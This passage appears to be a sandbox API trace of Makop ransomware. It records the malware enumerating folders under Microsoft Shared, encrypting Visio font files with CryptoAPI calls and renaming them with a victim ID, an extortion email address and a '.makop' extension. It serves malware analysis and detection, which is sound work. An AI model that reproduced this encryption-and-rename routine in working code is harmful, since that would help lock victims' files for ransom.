(HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.905] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.906] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.906] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0102.910] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.910] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.910] GetProcessHeap () returned 0x48a0000 [0102.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0102.910] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0102.911] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.911] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0102.911] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.911] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.911] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.911] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.911] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.912] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.912] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.912] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.912] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2fde5, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2fde5, lpOverlapped=0x0) returned 1 [0102.916] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2fdf0, dwBufLen=0x2fdf0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2fdf0) returned 1 [0102.918] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.918] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2fdf0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2fdf0, lpOverlapped=0x0) returned 1 [0102.920] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.920] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2feb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.920] SetEndOfFile (hFile=0x138) returned 1 [0102.930] GetProcessHeap () returned 0x48a0000 [0102.930] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0102.930] GetProcessHeap () returned 0x48a0000 [0102.930] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.930] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0102.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.931] CloseHandle (hObject=0x138) returned 1 [0102.931] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0102.932] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX") returned 77 [0102.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.932] GetProcessHeap () returned 0x48a0000 [0102.932] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.932] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.932] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.933] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0102.947] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.947] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.947] GetProcessHeap () returned 0x48a0000 [0102.947] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0102.947] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0102.947] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.947] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0102.948] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.948] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.948] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.948] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.948] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.948] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.948] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.949] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.949] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9e413, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x9e413, lpOverlapped=0x0) returned 1 [0102.966] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x9e420, dwBufLen=0x9e420 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x9e420) returned 1 [0102.972] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.973] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9e420, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x9e420, lpOverlapped=0x0) returned 1 [0102.978] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.978] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x9e4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.978] SetEndOfFile (hFile=0x138) returned 1 [0102.986] GetProcessHeap () returned 0x48a0000 [0102.986] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0102.986] GetProcessHeap () returned 0x48a0000 [0102.986] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.986] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0102.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.988] CloseHandle (hObject=0x138) returned 1 [0102.990] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0102.990] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX") returned 77 [0102.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.991] GetProcessHeap () returned 0x48a0000 [0102.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.991] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.991] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.991] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.995] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.995] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.995] GetProcessHeap () returned 0x48a0000 [0102.995] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0102.995] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0102.995] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.996] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0102.996] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.996] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.996] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.996] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.996] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.996] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.997] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.997] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.997] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdfc98, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xdfc98, lpOverlapped=0x0) returned 1 [0103.020] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xdfca0, dwBufLen=0xdfca0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xdfca0) returned 1 [0103.029] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.029] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdfca0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xdfca0, lpOverlapped=0x0) returned 1 [0103.036] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.036] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xdfd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.036] SetEndOfFile (hFile=0x138) returned 1 [0103.044] GetProcessHeap () returned 0x48a0000 [0103.044] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.044] GetProcessHeap () returned 0x48a0000 [0103.044] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.044] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0103.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.045] CloseHandle (hObject=0x138) returned 1 [0103.046] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0103.046] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.046] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0103.046] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.046] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0103.046] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO") returned 51 [0103.047] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*") returned 55 [0103.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.049] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.049] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0103.049] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0") returned 56 [0103.049] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*") returned 60 [0103.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.054] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.054] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0103.055] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033") returned 61 [0103.055] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*") returned 65 [0103.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0103.056] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 